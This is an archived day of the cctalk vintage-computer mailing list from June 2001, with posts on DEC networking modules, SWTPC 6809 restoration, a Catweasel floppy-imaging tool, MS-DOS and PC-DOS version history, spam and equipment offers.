http://www.classiccmp.org/pipermail/cctalk/attachments/20010623/22a017b2/attachment.html From dittman at dittman.net Sat Jun 23 14:16:56 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:46 2005 Subject: DECrepeater 90C In-Reply-To: from "Dan Linder" at Jun 23, 2001 12:46:13 PM Message-ID: <200106231916.f5NJGuK17434@narnia.int.dittman.net> > > Does anyone need a DECrepeater 90C? I have one that > > I'll give to anyone for the price of shipping. There > > is no power supply, and I don't know if it works, and > > I don't even know what it does, but my best guess is > > it is for linking together thinwire network devices. > > www.dnpg.com has lots 'o info. The Digital Networks Product Group. Yes, I go there for info on my DECservers, but I know I don't need any thinwire stuff (other than the thinwire- TP converter I use for the 90LT and 90L+), so I just never bothered looking that one up. I figured if anyone needed one, they'd know. > My brother & I actually scored a Multiswitch 900 frame with many modules > related to this one. (tho I think the 90C is a mini-module - there are > also larger modules that have have a multi-gigabit backplane) Ours is a > beast of a hub, but not quite on-topic. The 90C is a small module that operate either stand- alone (with the power supply) or in a DEChub 90. I have just one power supply for my 90M, and I made an adapter for the 90LT and 90L+ so they operate off a little disk drive power supply. I don't use the 90LT or 90L+ except for testing, and the 90M is a more capable unit. I also have a DECserver 700 that is even better, but space is limited right now. The 90M fits in with my Ethernet switches. I really need to get a rack to mount this stuff in, and a couple of 2U cases for my ATX motherboards. -- Eric Dittman dittman@dittman.net From ard at p850ug1.demon.co.uk Sat Jun 23 13:20:30 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:46 2005 Subject: Anyone hear of PMC MicroMate? In-Reply-To: from "Richard A. Cini, Jr." at Jun 22, 1 10:43:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 766 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010623/df88d5f0/attachment.ksh From ard at p850ug1.demon.co.uk Sat Jun 23 14:21:15 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:04:46 2005 Subject: preserving / ressurecting old docs? In-Reply-To: from "Brian Chase" at Jun 23, 1 00:34:14 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1946 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010623/3b676f63/attachment.ksh From tim.mann at compaq.com Sat Jun 23 14:46:09 2001 From: tim.mann at compaq.com (tim.mann@compaq.com) Date: Sun Feb 27 19:04:46 2005 Subject: cw2dmk/dmk2cw 2.0: read/write floppy disks with a Catweasel ISA Message-ID: <200106231946.f5NJk9G157615@pachyderm.pa.dec.com> Background: The Catweasel ISA floppy disk controller is an add-in card for the PC ISA bus. It uses specialized hardware, not a standard floppy disk controller chip, and it can be programmed to read and write just about any disk format. I've written a pair of programs for the Catweasel called cw2dmk and dmk2cw. dmk2cw is new in release 2.0 of the package. cw2dmk can use a Catweasel ISA to read several kinds of floppy disk, some of which ordinary PC controllers have trouble with, and save them in the DMK disk image format. DMK is a format used by the Unix TRS-80 emulator xtrs and by David Keil's TRS-80 emulator for MS-DOS. cw2dmk does not just read TRS-80 disks. It can make an exact image of any disk written using a Western Digital 177x/179x floppy disk controller, a PC-style NEC765-compatible controller, or a Digital Equipment Corporation RX02 controller. dmk2cw uses a Catweasel ISA to write any DMK image back to a real floppy disk. It can handle the same kinds of disks as cw2dmk. Currently no tools other than TRS-80 emulators and dmk2cw can use disk images in DMK format, but perhaps more tools will be written in the future. The ability to read disks with cw2dmk and write out copies with dmk2cw already provides a useful way of archiving disks from old machines and making physical copies when needed. A likely future direction for cw2dmk/dmk2cw is to be able to write/read JV1 and JV3 disk images (these are other common TRS-80 emulator formats) or raw arrays of sectors, in cases where the disk can be represented in one of those formats. The programs are free software, released under the GPL. You can download the source code and executables for both Linux and MS-DOS from my TRS-80 resources page, http://www.tim-mann.org/trs80resources.html. The MS-DOS version also runs on Windows 95. Even those who prefer to build their own sampling hardware instead of buying a Catweasel may find the source code of some use. Tim Mann tim.mann@compaq.com http://www.tim-mann.org Compaq Computer Corporation, Systems Research Center, Palo Alto, CA From jfoust at threedee.com Sat Jun 23 15:07:13 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:46 2005 Subject: OCR for punchcards? In-Reply-To: <20010622223038.63311.qmail@web9504.mail.yahoo.com> References: <200106221657.KAA28243@calico.litterbox.com> Message-ID: <4.3.2.7.0.20010623150158.01d22ab0@pc> At 03:30 PM 6/22/01 -0700, Ethan Dicks wrote: >I started to... I stuck the punch card in the sleeve my sheet-feed Brother >scanner comes with for torn pages, and backed it with a piece of colored >paper for contrast through the holes. Scanners? Who needs them? I think it should be possible to do this with webcams. See Digimarc's watermarking technology at http://www.digimarc.com/mediabridge/index.htm . Hold a magazine ad up to your camera, it reads the watermark, and the software directs you to a web page. Tell me you couldn't write software that recognizes a punch card... the info density is quite low, per-card, and there's just so much right-angle-ness to the problem that it seems quite doable. Just imagine a program that recognizes punched cards as you hold them up, one at a time, before a webcam. - John From jfoust at threedee.com Sat Jun 23 15:13:14 2001 From: jfoust at threedee.com (John Foust) Date: Sun Feb 27 19:04:46 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: <4.3.2.7.0.20010623150948.00c46100@pc> At 07:27 PM 6/22/01 -0400, R. D. Davis wrote: >The answer is quite simple to arrive at: a printed book. Alas, too >many books have been printed on acidic paper... of course, the >solution is rather simple, a good photocopy on acid-free paper. :-) Plastic-carbon toners aren't archival, be they from a copier or a laser printer. They re-melt, re-flow or otherwise become adhesive under heat or pressure, and they'll interact with solvents such as outgassing plastics like the vinyl from a new three-ring binder. - John From chomko at greenbelt.com Sat Jun 23 15:53:11 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPC 6809 systems Message-ID: <3B3501B7.85DB9F26@greenbelt.com> Jeff Hellige and I just finished about a 5 hour working (playing?) session on our SWTPC 6809 systems. His system works great but lacked disk drives. We did manage to boot Smoke Signal Broadcasting DOS on his machine once we swapped disk controller cards and first properly set a couple of baud rate jumpers. My system had problems booting DOS and then had trouble even running until I swapped out the 6809 CPU card with another. I still can't boot DOS however. Both my CPU cards are missing a 74189 RAM chip, whereas Jeff's has it. It's not clear that that is the problem, but is a starting place. I have managed to boot DOS in the past with this RAM-less scenario, but the system always seems to work sparingly. Anyway that's a brief recap of today's fun and seemed to be list-worthy to boot (ah-geez another bad pun :). Next time we're planning on Osborne's and CP/M. Eric From cmcmanis at mcmanis.com Sat Jun 23 17:11:34 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:46 2005 Subject: weekend scores Message-ID: <5.0.0.25.2.20010623151019.01ee1b40@209.185.79.193> Ok, I'm a happy VAXherd. I scored a 4000/200 in a BA215 cabinet (baby BA213) and it has the CQD-223/TM SCSI interface, 32MB of ram, and the COOLEST little three drive storage works box with a flip up lid. Yummy! --Chuck From jhellige at earthlink.net Sat Jun 23 17:07:38 2001 From: jhellige at earthlink.net (Jeff Hellige) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPc S/09 is alive In-Reply-To: References: Message-ID: Thanks to Eric Chomko and MIchael Holley my SWTPc S/09 is now back up and running. I took the S/09 and all it's documentation over to Eric's and we put it on his workbench next to his 69/K and spent the afternoon working on them. I think it's safe to say that we both learned a thing or two. We also set up a 5-1/4" floppy drive for it using his SSB DCB-4A disk controller, in place of my DMFA2 controller. We were able to boot the SSB DOS without a problem. Since it's known that the drive works well with the DCB-4A, and we already have the Smoke Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A they'd be willing to part with? Unfortunately, I had to give his back Jeff -- Collector of Classic Microcomputers and Video Game Systems: Home of the TRS-80 Model 2000 FAQ File http://www.geocities.com/siliconvalley/lakes/6757 From pechter at bg-tc-ppp896.monmouth.com Sat Jun 23 17:30:59 2001 From: pechter at bg-tc-ppp896.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:46 2005 Subject: Research Machines Nimbus PC1 In-Reply-To: from "Merle K. Peirce" at "Jun 23, 2001 10:07:39 am" Message-ID: <200106232230.f5NMUxO35195@bg-tc-ppp896.monmouth.com> > There's some sort of NCR sitting about 30 miles away. Maybe I'll get to > that in another week. We got a Perkin Elmer, also. It's starting to > look like they may be rebadged Concurrents. > Nope Concurrent was a spun off Perkin-Elmer Computer Products division... Formerly Interdata. Interdata -> Perkin Elmer-> Concurrent which merged with Masscomp to form Concurrent and was swallowed by Harris and still kept the name Concurrent. Some of the Interdata founders created Syntrex and early office automation word processing group with a number of talented folks from Bell Labs (and I think some folks who may have had a connection to Zilog and Exxon Office Systems)... Bill From pechter at bg-tc-ppp896.monmouth.com Sat Jun 23 17:34:38 2001 From: pechter at bg-tc-ppp896.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: from "Fred Cisin (XenoSoft)" at "Jun 22, 2001 08:28:57 pm" Message-ID: <200106232234.f5NMYcQ35323@bg-tc-ppp896.monmouth.com> > > > How about 6.00, 6.10, 6.20, 6.21, 6.22, 6.23, and 6.30? Well, THOSE > > > are OT for this list. > On Fri, 22 Jun 2001, Sellam Ismail wrote: > > 6.23, 6.30??? I thought the last MS-DOS maintenance upgrade was 6.22. > > What happened after 6.22? > > Ooops. 6.23 was a typo. I don't think that there was ever such. Sorry > about that. 6.22 is the last release from MICROS~1 that I'm aware of, > although internally, WIN95 is 7.00, WIN98 is 7.10, ... > > PC-DOS 6.30 was IBM's version of MS-DOS 6.2x > (PC-DOS 6.10 was IBM's version of MS-DOS 6.00) > > -- > Grumpy Ol' Fred cisin@xenosoft.com IBM came out with PC-DOS 7.0 (now renamed PC-DOS 2000). They made it y2k compliant and all that. Works great with WfW3.11 or Win3.11 and OS/2 on top. Bill --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From pechter at bg-tc-ppp896.monmouth.com Sat Jun 23 17:48:54 2001 From: pechter at bg-tc-ppp896.monmouth.com (Bill Pechter) Date: Sun Feb 27 19:04:46 2005 Subject: Punched card readers In-Reply-To: from Sellam Ismail at "Jun 22, 2001 03:26:50 pm" Message-ID: <200106232248.f5NMmsg35573@bg-tc-ppp896.monmouth.com> > On Fri, 22 Jun 2001, Jeff Hellige wrote: > > Straying a bit off topic, can someone explain why the Navy, a branch of > the US military, requiring rock solid, uncompromising stability in the > systems that control their vessels, in their infinite procedural and > compliance wisdom, would choose Windows NT to control battleships? > > Or was that just a sick joke? I know it wasn't, but I'd like to believe > it was ;) > > Sellam Ismail Vintage Computer Festival The NT wasn't the problem. It was their database app not handling a mistake -- a 0 input into a field that it didn't validate led to a divide by zero error their app didn't handle. The NT was not the problem. (I'd like to blame MS -- but this one's a standard military contract software house screw up... probably). --- Bill Gates is a Persian cat and a monocle away from being a villain in a James Bond movie -- Dennis Miller bpechter@shell.monmouth.com|pechter@pechter.dyndns.org From edick at idcomm.com Sat Jun 23 18:09:38 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPc S/09 is alive References: Message-ID: <002101c0fc39$93fde7c0$9cc762d8@idcomm.com> One of the local surplus outlets has got a few STD bus boards, which I saw but didn't examine, as the store manager (not a sympathetic sort) was present. I didn't want to tip him off that they might be of some interest, else he'll add $100 to the price of each. If there's anybody interested in STD bus hardware and doc's, please let me know what you might want, and how badly (approximate value). If I can get the stuff for what you want to pay, I'll do it. I doubt it's bundled, by the way. I once had quite a bit of STD bus stuff, acquired from a bankruptcy bound client, but never got excited about it, hence, didn't learn much about it. Dick From chomko at greenbelt.com Sat Jun 23 18:23:49 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPc S/09 is alive References: Message-ID: <3B352505.19C36F51@greenbelt.com> Jeff Hellige wrote: > Thanks to Eric Chomko and MIchael Holley my SWTPc S/09 is now > back up and running. I took the S/09 and all it's documentation over > to Eric's and we put it on his workbench next to his 69/K and spent > the afternoon working on them. I think it's safe to say that we both > learned a thing or two. > No doubt about that! I'm still puzzled about my system, however. We shoulda snapped pictures too. :( > > We also set up a 5-1/4" floppy drive for it using his SSB > DCB-4A disk controller, in place of my DMFA2 controller. We were > able to boot the SSB DOS without a problem. Since it's known that > the drive works well with the DCB-4A, and we already have the Smoke > Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A > they'd be willing to part with? Unfortunately, I had to give his > back > Yes, I made him give it back as I was green with envy. Now I gotta get my system working properly. Yeah we may be that lone bastion of SSB DOS on the planet, as most folks have gone FLEX. But hell, SSB DOS is the one I learned and have lots of SW about. Anyway, thanks, Jeff, for a day of fun. Eric > > Jeff > -- > Collector of Classic Microcomputers and Video Game Systems: > Home of the TRS-80 Model 2000 FAQ File > http://www.geocities.com/siliconvalley/lakes/6757 From optimus at canit.se Sat Jun 23 19:27:05 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:46 2005 Subject: Wave of the Future (Spam) In-Reply-To: <001d01c0fbf4$841478a0$9cc762d8@idcomm.com> Message-ID: <1048.575T250T873475optimus@canit.se> Richard Erlacher skrev: >Point taken, but most folks here in the U.S. either have unlimited accounts >(typically costing $12-$20 monthly, and the extra bandwidth is transparent to >them. Here in the U.S. is where the battle will be fought, though, and it's >here, where complacency reigns, that the SPAMmers have the best chance of >getting by, since everybody worries about what's easy, and almost nobody >cares about what's right. I couldn't care less about what most folks in the US use, but I still get their junk mail, whereas all junk I get via snailmail is at least domestic. Besides, there are a lot of people who put "no ads wanted" stickers on their doors, and I trust that those work. I don't mind the junk mail, though, since I find it relevant (it's mostly news from local grocery stores). They're putting in Ethernet in my wall on Tuesday, though. That doens't mean that I'm about to begin sending 500Kb JPEGs along with every email message I write. -- En ligne avec Thor 2.6a. A conservative is a worshipper of dead radicals. From optimus at canit.se Sat Jun 23 19:30:12 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: <348.575T600T904097optimus@canit.se> XenoSoft skrev: >> Jim Strickland skrev: >> >Ah yes, DOS 5.0. The last time I felt I got my money's worth from >On 23 Jun 2001, Iggy Drougge wrote: >> Why? It had no GUI, no multitasking and rudimentary limitations on >> filenames. >So?, what's the down side? Are you into whips, chains and latex clothing as well? -- En ligne avec Thor 2.6a. From chomko at greenbelt.com Sat Jun 23 18:45:23 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPc S/09 is alive References: <002101c0fc39$93fde7c0$9cc762d8@idcomm.com> Message-ID: <3B352A12.ED53A5E6@greenbelt.com> Just out of curiosity, what does the follwoing have to do with SWTPC or SSB? And what is STD? Eric Richard Erlacher wrote: > One of the local surplus outlets has got a few STD bus boards, which I saw but > didn't examine, as the store manager (not a sympathetic sort) was present. I > didn't want to tip him off that they might be of some interest, else he'll add > $100 to the price of each. If there's anybody interested in STD bus hardware > and doc's, please let me know what you might want, and how badly (approximate > value). If I can get the stuff for what you want to pay, I'll do it. I doubt > it's bundled, by the way. > > I once had quite a bit of STD bus stuff, acquired from a bankruptcy bound > client, but never got excited about it, hence, didn't learn much about it. > > Dick From cisin at xenosoft.com Sat Jun 23 19:09:12 2001 From: cisin at xenosoft.com (Fred Cisin (XenoSoft)) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <348.575T600T904097optimus@canit.se> Message-ID: > >> >Ah yes, DOS 5.0. The last time I felt I got my money's worth from > >> Why? It had no GUI, no multitasking and rudimentary limitations on > >> filenames. > >So?, what's the down side? On 24 Jun 2001, Iggy Drougge wrote: > Are you into whips, chains and latex clothing as well? Thank you for the invitation, but I'll wait until I know you better. Admittedly, if you are going to have only one computer, and want it to serve multiple purposes, then a GUI, multitasking, and verbose file names might be useful. (BTW, DOS 5.00 DID have a poor quality GUI, called WIN3.1x) For many uses, a GUI can be more hassle than it is worth. If you have multiple computers, then multitasking ceases to be so important. I've often found it preferable to use multiple machines simultaneously instead of task switching. Bookkeeping, order entry and shipping, development, analysis, and testing were better off on separate machines. Yes, I did fire up 5 machines when I worked. It would be nice to have slightly relaxed constraints on filenames, but I've seen too many people make a paragraph long filename. From chomko at greenbelt.com Sat Jun 23 19:58:02 2001 From: chomko at greenbelt.com (Eric Chomko) Date: Sun Feb 27 19:04:46 2005 Subject: SWTPc S/09 is alive References: <3B352505.19C36F51@greenbelt.com> Message-ID: <3B353B1A.71AEC217@greenbelt.com> Eric Chomko wrote: > Jeff Hellige wrote: > > > Thanks to Eric Chomko and MIchael Holley my SWTPc S/09 is now > > back up and running. I took the S/09 and all it's documentation over > > to Eric's and we put it on his workbench next to his 69/K and spent > > the afternoon working on them. I think it's safe to say that we both > > learned a thing or two. > > > > No doubt about that! I'm still puzzled about my system, however. We > shoulda > snapped pictures too. :( I got some shots of my system. :) Will make them available later. The interesting thing about these two similar computers is that the board layout is distinctly different WRT the SS-50 vs. the SS-30 busses. In mine they are perpendicular, and in Jeff's they are parallel. Quite fascianting really when you think that a decision by SWTPC was made to make the change. (Mine is no doubt the earlier -traditional layout from the 6800 days.) Jeff's is no doubt SWTPC's reaction to the Gimix and Helix boxes of the day. Interesting to find out what manufacture numbers (quantity) exist for both types. All would die with the advent of the PC, but the historical aspects of the SS-50 bus became more fascianting today once I realized that major switch. Eric > > > > > > We also set up a 5-1/4" floppy drive for it using his SSB > > DCB-4A disk controller, in place of my DMFA2 controller. We were > > able to boot the SSB DOS without a problem. Since it's known that > > the drive works well with the DCB-4A, and we already have the Smoke > > Signal Broadcasting DOS, does anyone have a SSB DCB-4 or DCB-4A > > they'd be willing to part with? Unfortunately, I had to give his > > back > > > > Yes, I made him give it back as I was green with envy. Now I gotta get > my system working properly. > > Yeah we may be that lone bastion of SSB DOS on the planet, as most folks > have gone FLEX. But hell, SSB DOS is the one I learned and have lots of > SW about. > > Anyway, thanks, Jeff, for a day of fun. > > Eric > > > > > Jeff > > -- > > Collector of Classic Microcomputers and Video Game Systems: > > Home of the TRS-80 Model 2000 FAQ File > > http://www.geocities.com/siliconvalley/lakes/6757 From jrkeys at concentric.net Sat Jun 23 20:18:23 2001 From: jrkeys at concentric.net (John R. Keys Jr.) Date: Sun Feb 27 19:04:46 2005 Subject: New CPM find today Message-ID: <006401c0fc4b$917b5660$b6731fd1@default> Picked up a LOBO systems MAX-80 today at a Goodwill for $3.99, no drives or monitor was with it. I will be going back on Sunday to see if they have more. Looked it up on the web using google and found that it is a TRS-80 clone and runs CPM. If I can locate some drives and software I hope can fire it up soon. From edick at idcomm.com Sat Jun 23 20:39:18 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:04:46 2005 Subject: Wave of the Future (Spam) References: <1048.575T250T873475optimus@canit.se> Message-ID: <000d01c0fc4e$8b46de60$9cc762d8@idcomm.com> It seems to me that it is unwise to ignore what the largest single society associated with the problem under scrutiny does, and why they do it, or at leasty why they may do it. Paying for hookup time is a sad reality, the result of which is that each bit of email is paid for twice. It's my understanding that hookup time is what's metered in Germany, though I don't know what unit is metered in Sweden. I can assure you, if the folks who send you junk email from outside your country had to pay as the ones sending you the junk snail-mail do. If folks who detest nuissance mail as I do, all united their energies and talents, it's likely someone, somewhere, would come up with the right combination of ideas to make it possible to charge every bit of bandwidth back to the individual SPAMmer who sent it, irrespective of where the multiple destinations were applied, at a rate proportional to the $20 per month I mentioned before for the 168-hour week, which is approximately 1.0901E-9 cents per bit, there'd be no more SPAM from outside your own regional economy at all. I think the traffic sent about via SMTP and received via POP, or whatever other protocols can be used for moving email around, should be paid for by the sender. more comments below ... Dick ----- Original Message ----- From: "Iggy Drougge" To: "Richard Erlacher" Sent: Sunday, June 24, 2001 12:00 AM Subject: Re: Wave of the Future (Spam) > Richard Erlacher skrev: > > >Point taken, but most folks here in the U.S. either have unlimited accounts > >cares about what's right. > > I couldn't care less about what most folks in the US use, but I still get > their junk mail, whereas all junk I get via snailmail is at least domestic. > I find the foreign-character-set-stuff even more annoying than the stuff I can read. I do, however, read the junk snail-mail, for the very reason you spelled out, namely that there might be a good by on chicken or fresh produce in the ad's. That's not as likely in an ad I receive in Cyrillic alphabet. > > Besides, there are a lot of people who put "no ads wanted" stickers on their > doors, and I trust that those work. I don't mind the junk mail, though, since > I find it relevant (it's mostly news from local grocery stores). > I certainly wish they worked here in the U.S. Even a "no solicitors" sign on the door won't stop the door-to-door sales people. > > They're putting in Ethernet in my wall on Tuesday, though. That doens't mean > that I'm about to begin sending 500Kb JPEGs along with every email message I > write. > My connection purportedly runs at 512Kbps ... I don't even then like the delays associated with those unsolicited pictorial advertisments. I don't send 'em either, and, I suspect, if I had to pay for the bits I send as mail, I'd probably snip a lot more out of my replies than I presently do. > -- > En ligne avec Thor 2.6a. > > A conservative is a worshipper of dead radicals. > > From optimus at canit.se Sat Jun 23 21:39:34 2001 From: optimus at canit.se (Iggy Drougge) Date: Sun Feb 27 19:04:46 2005 Subject: Installing ULTRIX without a tape drive Message-ID: <706.575T1700T2195605optimus@canit.se> At the usergroup, there is a DECstation 3100 and a load of ULTRIX cartridges (I presume these are TK50, they are of the very square kind), some of which are marked "RISC". I'd like to install these onto the DECstation, but unfortunately we no longer have a SCSI TK50 drive (what did they call it now, a TZ30?), so I have no real idea as to how to install it. Not that I would have any such idea if we had the drive still, either. However, there is a MVAX IIGPX system there as well, running NetBSD, which has got a TK50 (I think this is a real TK50, since it's connected to a QBUS card of its own). Could the DECstation somehow be coerced into installing off of the MicroVAX? -- En ligne avec Thor 2.6a. From foo at siconic.com Sat Jun 23 20:19:07 2001 From: foo at siconic.com (Sellam Ismail) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: Message-ID: On Sat, 23 Jun 2001, Fred Cisin (XenoSoft) wrote: > For many uses, a GUI can be more hassle than it is worth. If you have > multiple computers, then multitasking ceases to be so important. > I've often found it preferable to use multiple machines simultaneously > instead of task switching. Bookkeeping, order entry and shipping, > development, analysis, and testing were better off on separate > machines. Yes, I did fire up 5 machines when I worked. Me too. And the added advantage was that if one app crashed, it didn't take the rest with it (as is the case with Windows 9x). Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From mrbill at mrbill.net Sat Jun 23 23:37:06 2001 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 19:04:46 2005 Subject: preserving / ressurecting old docs? In-Reply-To: <200106231855.f5NItPV35692@daemonweed.reanimators.org>; from fmc@reanimators.org on Sat, Jun 23, 2001 at 11:55:02AM -0700 References: <20010622133137.62013.qmail@web9507.mail.yahoo.com> <20010622122622.M9041@mrbill.net> <200106231855.f5NItPV35692@daemonweed.reanimators.org> Message-ID: <20010623233706.G27289@mrbill.net> On Sat, Jun 23, 2001 at 11:55:02AM -0700, Frank McConnell wrote: > HP's software? The stuff that came with my 6200 was disappointing: I > either got very lossy JPEGs or insufficiently-colorful GIFs out of it. > I installed FreeBSD, SANE, and the GIMP and was much happier. The software (and the scanner, frankly) that came with the 3400C was okay for normal mundane stuff, but not for book scanning. Plus, it was slow. Got a 7450C (with sheet feeder and transparency adapter). Woah, proof that you get what you pay for ($99 versus $699). MUCH MUCH nicer. PrecisionScan Pro, etc. Bill -- Bill Bradford mrbill@mrbill.net Austin, TX From vance at ikickass.org Sat Jun 23 23:48:06 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:04:46 2005 Subject: MS-DOS version (was: What's best to do?? classically speaking In-Reply-To: <200106232234.f5NMYcQ35323@bg-tc-ppp896.monmouth.com> Message-ID: Actually, didn't IBM come out with PC-DOS 7.0, then 7.1, then 7.3, then 8.0, then Y2K patch it to make PC-DOS 2000? Peace... Sridhar On Sat, 23 Jun 2001, Bill Pechter wrote: > > > > How about 6.00, 6.10, 6.20, 6.21, 6.22, 6.23, and 6.30? Well, THOSE > > > > are OT for this list. > > On Fri, 22 Jun 2001, Sellam Ismail wrote: > > > 6.23, 6.30??? I thought the last MS-DOS maintenance upgrade was 6.22. > > > What happened after 6.22? > > > > Ooops. 6.23 was a typo. I don't think that there was ever such. Sorry > > about that. 6.22 is the last release from MICROS~1 that I'm aware of, > > although internally, WIN95 is 7.00, WIN98 is 7.10, ... > > > > PC-DOS 6.30 was IBM's version of MS-DOS 6.2x > > (PC-DOS 6.10 was IBM's version of MS-DOS 6.00) > > > > -- > > Grumpy Ol' Fred cisin@xenosoft.com > > IBM came out with PC-DOS 7.0 (now renamed PC-DOS 2000). > They made it y2k compliant and all that. > > Works great with WfW3.11 or Win3.11 and OS/2 on top. > > Bill > --- > Bill Gates is a Persian cat and a monocle away from being a > villain in a James Bond movie -- Dennis Miller > bpechter@shell.monmouth.com|pechter@pechter.dyndns.org > From donm at cts.com Sun Jun 24 00:07:48 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:46 2005 Subject: New CPM find today In-Reply-To: <006401c0fc4b$917b5660$b6731fd1@default> Message-ID: On Sat, 23 Jun 2001, John R. Keys Jr. wrote: > Picked up a LOBO systems MAX-80 today at a Goodwill for $3.99, no drives > or monitor was with it. I will be going back on Sunday to see if they > have more. Looked it up on the web using google and found that it is a > TRS-80 clone and runs CPM. If I can locate some drives and software I > hope can fire it up soon. John, if you have TeleDisk and a 5.25" drive on a PC, I will email you the disk images for the following: LOBO Max 80 Name Format Description LCPM22 SSQD CP/M-2.2 System disk for Lobo Max 80 LCPM30A DSDD CP/M 3.0 System disk for Lobo Max 80 - disk A LCPM30B DSDD / \ - disk B LCPM30C DSDD / \ - disk C - don From donm at cts.com Sun Jun 24 00:25:58 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:04:46 2005 Subject: HP 97 Calculator Message-ID: Anyone interested in a HP 97 Calculator for the price of shipping? Comes complete with wall-wart, and a (probably tired) but still usable battery. Can't tell you for sure how it works as my direct Polish notation doesn't seem to impress the reverse machine. I do think that the paper tape drive has problems, though. Email me of list if you are interested. First come first served. - don From oliv555 at arrl.net Sun Jun 24 03:44:19 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:46 2005 Subject: DECrepeater 90C References: <200106230516.f5N5GNf15420@narnia.int.dittman.net> Message-ID: <3B35A863.6925D12D@arrl.net> Eric Dittman wrote: > > Does anyone need a DECrepeater 90C? I have one that > I'll give to anyone for the price of shipping. There > is no power supply, and I don't know if it works, and > I don't even know what it does, but my best guess is > it is for linking together thinwire network devices. > -- > Eric Dittman > dittman@dittman.net Darn, wish I'd waited a week. Just bought one on eBay last week but it's also missing that power supply. - nick o From oliv555 at arrl.net Sun Jun 24 04:10:37 2001 From: oliv555 at arrl.net (no) Date: Sun Feb 27 19:04:46 2005 Subject: New CPM find today References: <006401c0fc4b$917b5660$b6731fd1@default> Message-ID: <3B35AE8D.2519624E@arrl.net> "John R. Keys Jr." wrote: > > Picked up a LOBO systems MAX-80 today at a Goodwill for $3.99, no drives > or monitor was with it. I will be going back on Sunday to see if they > have more. Looked it up on the web using google and found that it is a > TRS-80 clone and runs CPM. If I can locate some drives and software I > hope can fire it up soon. Nice machine! Got one in the early 80's and my brother ran his accounting business with 2 of them, which I inherited when he went to PeeCees. Had a pair of 8" floppy drives and a whopping 5Mb HD hung off of it. Still had 2 of them until my move to Houston 6 yrs ago. Used one at work to format single density RX01's for our 11/45s, cheaper than buying from DEC. I doubt that I still have any of the sw or docs, but i'll dig thru my storage. - nick o From cmcmanis at mcmanis.com Sun Jun 24 04:55:15 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:04:46 2005 Subject: Random change WTT: KA694 Message-ID: <5.0.0.25.2.20010624025230.01f7f9f0@209.185.79.193> Hi Everyone, on my wish list is a KA694. This was the CPU in the VAX 4000/705a and is basically the fastest Q-bus enabled VAX you could buy. It bookmarks the series (which starts with the MicroVAX I). I've got other VAXen I could trade for it including 4000/200 or a VLC or a 3800, etc. So if you are looking to round out your collection here's your chance! :-) --Chuck From at258 at osfn.org Sun Jun 24 08:08:22 2001 From: at258 at osfn.org (Merle K. Peirce) Date: Sun Feb 27 19:04:46 2005 Subject: Research Machines Nimbus PC1 In-Reply-To: <200106232230.f5NMUxO35195@bg-tc-ppp896.monmouth.com> Message-ID: That's a bit of an involved connection, isn't it? Would anyone on the list have a front panel for a 3210? That seems to be about the only thing missing, other than a P/E terminal. On Sat, 23 Jun 2001, Bill Pechter wrote: > > There's some sort of NCR sitting about 30 miles away. Maybe I'll get to > > that in another week. We got a Perkin Elmer, also. It's starting to > > look like they may be rebadged Concurrents. > > > Nope Concurrent was a spun off Perkin-Elmer Computer Products > division... Formerly Interdata. > > Interdata -> Perkin Elmer-> Concurrent which merged with Masscomp > to form Concurrent and was swallowed by Harris and still kept the name > Concurrent. > > Some of the Interdata founders created Syntrex and early office > automation word processing group with a number of talented folks > from Bell Labs (and I think some folks who may have had a connection > to Zilog and Exxon Office Systems)... > > Bill > > M. K. Peirce Rhode Island Computer Museum, Inc. Shady Lea, Rhode Island "Casta est quam nemo rogavit." - Ovid From jss at ou.edu Sun Jun 24 09:11:49 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:04:46 2005 Subject: preserving / ressurecting old docs? In-Reply-To: References: Message-ID: <993391909.3b35f525636a8@email.ou.edu> Quoting Sellam Ismail : > so far being geeky and keeping old computer stuff around does not > necessarily lead to excessive sexual encounters (I must admit to > being an exception ;) Are you sure that isn't becuase of your "International Man of Intrigue and Danger" 